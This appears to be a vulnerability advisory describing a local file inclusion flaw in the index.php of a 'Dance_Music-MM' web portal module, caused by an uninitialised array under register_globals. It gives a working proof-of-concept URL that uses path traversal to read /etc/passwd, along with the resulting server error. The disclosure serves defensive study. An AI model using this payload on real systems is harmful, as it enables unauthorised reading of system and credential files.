Vulnerabilities: Local File Inclusion in "index.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Let's take a peek at source code of "index.php":
------------>[source code]<------------
include("header.php");
...
$ACCEPT_FILE['Acid_house.html'] = 'Acid_house.html';
$ACCEPT_FILE['Alternative_dance.html'] = 'Alternative_dance.html';
$ACCEPT_FILE['Ambient_house.html'] = 'Ambient_house.html';
...
$page = $_GET['page'];
...
$pagename = $ACCEPT_FILE[$page];
if (!isSet($pagename)) $pagename = "index.html";
include("modules/Dance_Music-MM/$pagename");
------------>[/source code]<-----------
As we can see, "$ACCEPT_FILE" array is uninitialized, so we can insert there
arbitrary values from $_GET/$_POST/$_COOKIES parameters, if "register_globals"
is active.
Proof-of-concept test:
http://victim.com/modules.php?name=Dance_Music-MM&page=1
&ACCEPT_FILE[1]=../../../../../../../../../etc/passwd
Warning: main() [function.main]: open_basedir restriction in effect.
File(./modules/Dance_Music-MM/../../../../../../../../../../../../etc/passwd
) is not within the allowed path(s): (/home/www/web32/)
in /home/www/web32/html/portal/modules/Dance_Music-MM/index.php on line 154
So local file inclusion exists, but safe mode can make exploiting harder.
